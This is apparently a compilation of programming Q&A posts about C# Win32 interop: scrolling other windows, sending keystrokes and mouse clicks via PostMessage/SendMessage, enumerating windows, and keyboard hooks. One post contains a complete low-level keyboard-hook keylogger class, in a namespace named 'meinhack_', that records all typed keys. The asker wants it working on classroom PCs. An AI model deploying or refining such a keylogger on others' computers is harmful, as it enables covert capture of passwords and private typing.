I want to create a program, which could make screenshot of scrolling window. As opposed to making screenshots, scrolling another app is difficult for me. Basing on a few scripts from web, I’ve written that:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading;
namespace scroller
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int GetScrollPos(IntPtr hWnd, int nBar);
[DllImport("user32.dll")]
static extern int SetScrollPos(IntPtr hWnd, int nBar, int nPos, bool bRedraw);
[DllImport("user32.dll")]
static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent);
[DllImport("user32.dll")]
static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool MoveWindow(IntPtr hwnd, int x, int y, int cx, int cy, bool repaint);
[DllImport("user32.dll")]
static extern IntPtr SetActiveWindow(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
static extern void SwitchToThisWindow(IntPtr hWnd, bool fAltTab);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
[DllImport("User32.Dll", EntryPoint = "PostMessageA")]
static extern bool PostMessage(IntPtr hWnd, uint msg, int wParam, int lParam);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
internal delegate int WindowEnumProc(IntPtr hwnd, IntPtr lparam);
[DllImport("user32.dll")]
internal static extern bool EnumChildWindows(IntPtr hwnd, WindowEnumProc func, IntPtr lParam);
private void Form1_Load(object sender, EventArgs e)
{
List<IntPtr> result = new List<IntPtr>();
Thread.Sleep(5000);
IntPtr ParenthWnd = GetForegroundWindow();
if (!ParenthWnd.Equals(IntPtr.Zero))
{
StringBuilder myStringBuilder = new StringBuilder(256);
GetWindowText(ParenthWnd, myStringBuilder, 256);
this.Text = myStringBuilder.ToString();
IntPtr prevChild = IntPtr.Zero;
IntPtr currChild = IntPtr.Zero;
while (true)
{
currChild = FindWindowEx(ParenthWnd, prevChild, null, null);
if (currChild == IntPtr.Zero) break;
result.Add(currChild);
prevChild = currChild;
}
}
for(int i=0 ;i<=result.Count-1;i++){
IntPtr myHandle = result[i];
SetActiveWindow(ParenthWnd);
SwitchToThisWindow(myHandle, true);
SetScrollPos(myHandle, 0x1, 0, true);
PostMessage(myHandle, 0x115, 4 + 0x10000 * 0,0);
}
}
}
}
This waits 5 seconds, and moves scrollbars of all windows to top. It works e.g. with notepad, but not with web browsers, ms word and many others. What am I doing wrong?
Related
I'm trying to Postmessage send key inputs to an application. The issue is that the message is being sent only when the application becomes active or gains focus.
Here is my goal:
I need the application to receive inputs either while it is not focused, or via some pseudo-focus called via postmessage before the input is sent (I have tried: NativeMethods.PostMessage(mainHwnd, 0x0007, 0, 0); "0x0007" is WM_SETFOCUS but this doesn't do anything). Any assistance would be very helpful, I've been at this for more hours than I care to count.🙏
Here is all of the relevant code I'm using:
using System.Runtime.InteropServices;
using System;
using System.Windows.Forms;
using System.Threading;
internal static class NativeMethods
{
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("user32.dll", SetLastError = true)]
public static extern bool PostMessage(IntPtr hWnd, UInt32 Msg, Int32 wParam, Int32 lParam);
[DllImport("User32.dll")]
public static extern int SendMessage(IntPtr hWnd, UInt32 uMsg, Int32 wParam, Int32 lParam);
}
class Test
{
const int WM_KEYDOWN = 0x0100;
const int WM_KEYUP = 0x0101;
//const int WM_SETFOCUS = 0x0007;
[DllImport("user32.dll")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, int wParam, int lParam);
public static void SendKey()
{
IntPtr mainHwnd = NativeMethods.FindWindow(null, "Test Application");
NativeMethods.PostMessage(mainHwnd, WM_KEYDOWN, (int)Keys.A, 0);
Thread.Sleep(50);
NativeMethods.PostMessage(mainHwnd, WM_KEYUP, (int)Keys.A, 0);
}
}
class TryTheThing{
public void Send() {
Test.SendKey();
}
}
Windows does not allow you to send keystrokes to non-focused applications. Your only option is to force the window to be focused first. This can be achieved by P/Invoking SetForegroundWindow():
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetForegroundWindow(IntPtr hWnd);
NativeMethods.SetForegroundWindow(mainHwnd);
I have this code that I copied from here:
using System.Runtime.InteropServices;
...
protected delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
protected static extern int GetWindowText(IntPtr hWnd, StringBuilder strText, int maxCount);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
protected static extern int GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll")]
protected static extern bool EnumWindows(EnumWindowsProc enumProc, IntPtr lParam);
[DllImport("user32.dll")]
protected static extern bool IsWindowVisible(IntPtr hWnd);
protected static bool EnumTheWindows(IntPtr hWnd, IntPtr lParam)
{
int size = GetWindowTextLength(hWnd);
if (size++ > 0 && IsWindowVisible(hWnd))
{
StringBuilder sb = new StringBuilder(size);
GetWindowText(hWnd, sb, size);
Console.WriteLine(sb.ToString());
}
return true;
}
static void Main(string[] args)
{
EnumWindows(new EnumWindowsProc(EnumTheWindows), IntPtr.Zero);
}
But I'm a newbie to C# and I don't exactly get the code. How do I filter e.g. that only the windows of Word are printed? (The processName of word is WINWORD)
On my computer, and on few of other computers (laptops, if it important) the program works, but on all PCs in our classroom - it works only if the console application window is in focus.
Of course on the PC user does not have full rights, but that in fact should not interfere with low-level hooks? Moreover, I specifically created a user account with limited rights on my laptop and everything worked right.
On some forums I was told that it could be due to the bit width of programs. What do you think about it?
Here is the code of the keylogger class.
P.S. Functions GetSymbolENG and GetSymbolRUS is just a switch-case for the Russian layout and additional symbols.
P.S.S Sorry for my english.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Threading;
// dll import + keylogger
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;
namespace meinhack_
{
class KeyLogger
{
const int WH_KEYBOARD_LL = 13;
const int HC_ACTION = 0;
private const int WM_KEYDOWN = 0x0100;
private static IntPtr _hookID = IntPtr.Zero;
public static string hookedKeys = "";
public KeyLogger()
{
Console.Out.WriteLine("Hook created...");
}
private static IntPtr SetHook(KeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
public void SetHook()
{
Console.Out.WriteLine("Trying to set hook...");
_hookID = SetHook(Callback);
Application.Run();
Console.Out.WriteLine("Hook right...");
}
~KeyLogger()
{
UnhookWindowsHookEx(_hookID);
}
public delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
KeyboardProc Callback = KeyboardHookCallback;
static IntPtr KeyboardHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
Console.Out.WriteLine("Trying to recognize layout...");
string text = GetKeyboardLayoutId();
Console.Out.WriteLine("Layout recognized...");
int vkCode = Marshal.ReadInt32(lParam);
Console.Out.WriteLine("Trying to get KeyState of CapsLock and Shift layout...");
bool capsLock = (((ushort)GetKeyState(0x14)) & 0xffff) != 0;
bool numLock = (((ushort)GetKeyState(0x90)) & 0xffff) != 0;
bool scrollLock = (((ushort)GetKeyState(0x91)) & 0xffff) != 0;
bool shift = (GetAsyncKeyState(Keys.LShiftKey) != 0 || GetAsyncKeyState(Keys.RShiftKey) != 0);
Console.Out.WriteLine("KeyState of CapsLock and Shift got...");
Console.Out.WriteLine("Trying to write key...");
if (text == "RUS") hookedKeys += GetSymbolRUS((Keys)vkCode, shift, capsLock).ToString();
else hookedKeys += GetSymbolENG((Keys)vkCode, shift, capsLock).ToString();
Console.Out.WriteLine("Key written...");
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
public string GetHookedKeys()
{
return hookedKeys;
}
public void ResetHookedKeys()
{
hookedKeys = "";
}
#region dllimport
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hInstance, int threadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("kernel32.dll")]
private static extern IntPtr LoadLibrary(string dllToLoad);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr GetKeyboardLayout(int WindowsThreadProcessID);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int GetWindowThreadProcessId(IntPtr handleWindow, out int lpdwProcessID);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
private static extern short GetKeyState(int keyCode);
[DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
private static extern short GetAsyncKeyState(Keys key);
#endregion
#region recognizeLayout
private static InputLanguageCollection _InstalledInputLanguages;
private static int _ProcessId;
private static string _CurrentInputLanguage;
private static string GetKeyboardLayoutId()
{
_InstalledInputLanguages = InputLanguage.InstalledInputLanguages;
IntPtr hWnd = GetForegroundWindow();
int WinThreadProcId = GetWindowThreadProcessId(hWnd, out _ProcessId);
IntPtr KeybLayout = GetKeyboardLayout(WinThreadProcId);
for (int i = 0; i < _InstalledInputLanguages.Count; i++)
{
if (KeybLayout == _InstalledInputLanguages[i].Handle)
{
_CurrentInputLanguage = _InstalledInputLanguages[i].Culture.ThreeLetterWindowsLanguageName.ToString();
}
}
return _CurrentInputLanguage;
}
#endregion
}
}
I am trying to simulate mouse click without using mouse by sendmessage
somehow it not working but there is no error show.
here is my new code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Input;
using System.Diagnostics;
namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
private const int BM_CLICK = 0x00F5;
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", EntryPoint = "FindWindow", SetLastError = true)]
static extern IntPtr FindWindowByCaption(IntPtr ZeroOnly, string lpWindowName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, string windowTitle);
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
IntPtr hwndChild = IntPtr.Zero;
IntPtr hwnd = IntPtr.Zero;
hwnd = FindWindow(null, "MSPaintApp");
hwndChild = FindWindowEx(hwnd, IntPtr.Zero, "Afx:00007FF765740000:8", null);
SendMessage(hwndChild, BM_CLICK, IntPtr.Zero, IntPtr.Zero);
}
}
}
Can you someone show me how to put X Y coordination that it will click on a child window. I saw many post teaching how to do that but i can't know understand it and the system said do not ask question in other people question :(
To me the problem is that MSPaintApp window should be searched by using FindWindow("MSPaintApp", null) because MSPaintApp is the class name, not the window caption.
Then, Afx:00007FF765740000:8 is not child of MSPaintApp, but is child of MSPaintView that is child of MSPaintApp.
Also you don't have to "simulate" a BM_CLICK, but you have to simulate a WM_LBUTTONDOWN and then a WM_LBUTTONUP
Please consider this sample that seems to work (on Windows 7)
class Program
{
private const uint WM_LBUTTONDOWN = 0x201;
private const uint WM_LBUTTONUP = 0x202;
private const uint MK_LBUTTON = 0x0001;
public delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr parameter);
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindowEx(IntPtr parentHandle, IntPtr childAfter, string className, string windowTitle);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool EnumChildWindows(IntPtr hwndParent, EnumWindowsProc lpEnumFunc, IntPtr lParam);
static IntPtr childWindow;
static void Main(string[] args)
{
IntPtr hwndMain = FindWindow("MSPaintApp", null);
IntPtr hwndView = FindWindowEx(hwndMain, IntPtr.Zero, "MSPaintView", null);
// Getting the child windows of MSPaintView because it seems that the class name of the child isn't constant
EnumChildWindows(hwndView, new EnumWindowsProc(EnumWindow), IntPtr.Zero);
// Simulate press of left mouse button on coordinates 10, 10
SendMessage(childWindow, WM_LBUTTONDOWN, new IntPtr(MK_LBUTTON), CreateLParam(10, 10));
// Simulate release of left mouse button on coordinates 100, 100
SendMessage(childWindow, WM_LBUTTONUP, new IntPtr(MK_LBUTTON), CreateLParam(100, 100));
}
static bool EnumWindow(IntPtr handle, IntPtr pointer)
{
// Get the first child because it seems that MSPaintView has only this child
childWindow = handle;
// Stop enumerating the windows
return false;
}
private static IntPtr CreateLParam(int LoWord, int HiWord)
{
return (IntPtr)((HiWord << 16) | (LoWord & 0xffff));
}
}
I'm going back many years here but I'm pretty sure mouse event window messages aren't delivered when applications are minimised. I'm sure a minimised window is treated differently anyway.
That aside, does this code work when the window is not minimised? You might want to use Spy++ to look at the structure of the window a little more as I think you will need to get the hWnd of whatever you're trying to click and send the message there. Very much depends on how the application itself was written and how the UI is drawn.
I am writing an aplication that need to get the system input language, while the application window is not focused.
After searching Google I have found that the way to do this is to hook WM_INPUTLANGCHANGE message.
But I could not find a syntax example of the hook.
I have found the following code and tried to adapt it for my needs, but I have failed:
Edit:
I have replaced WM_KEYUP with WM_INPUTLANGCHANGE but it does not works.
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace KeyHook
{
class LenHook
{
private const int WM_INPUTLANGCHANGE = 0x0051;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
public LenHook()
{
_hookID = SetHook(_proc);
UnhookWindowsHookEx(_hookID);
System.Windows.Forms.Application.Run();
}
//Install hook
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (var curProcess = Process.GetCurrentProcess())
{
using (var curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WM_INPUTLANGCHANGE, proc, GetModuleHandle(curModule.ModuleName), 0);
}
}
}
//Do it when key press
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
MessageBox.Show(wParam.ToString());
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
}
}
This code from a project of mine works for me, it looks like we may have used the same example:
private static IntPtr _hookId = IntPtr.Zero;
private readonly External.LowLevelKeyboardProc _proc;
public FrmMain()
{
_proc = HookCallback;
_hookId = SetHook(_proc);
InitializeComponent();
}
private static IntPtr SetHook(External.LowLevelKeyboardProc proc)
{
using(var curProcess = Process.GetCurrentProcess())
{
using(var curModule = curProcess.MainModule)
{
return External.SetWindowsHookEx(External.WH_KEYBOARD_LL, proc, External.GetModuleHandle(curModule.ModuleName), 0);
}
}
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
// You can change this to WM_KEYDOWN
if (nCode >= 0 && wParam == (IntPtr)External.WM_KEYUP)
{
// Code you want to run when a button is pressed.
}
return External.CallNextHookEx(_hookId, nCode, wParam, lParam);
}
Also, this is my External class.
public static class External
{
public delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
public const int WH_KEYBOARD_LL = 13;
public const int WM_KEYDOWN = 0x0100;
public const int WM_KEYUP = 0x0101;
public const uint WM_GETTEXT = 0x0D;
public const uint WM_GETTEXTLENGTH = 0x0E;
public const uint EM_GETSEL = 0xB0;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern uint GetCurrentThreadId();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr GetFocus();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int SendMessage(IntPtr hWnd, uint Msg, int wParam, StringBuilder lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int SendMessage(IntPtr hWnd, uint Msg, out int wParam, out int lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool GetCaretPos(out Point lPoint);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount);
}
I have read that you'll have problems if you try to do these hooks from a console application, although your call to Application.Run() should fix that.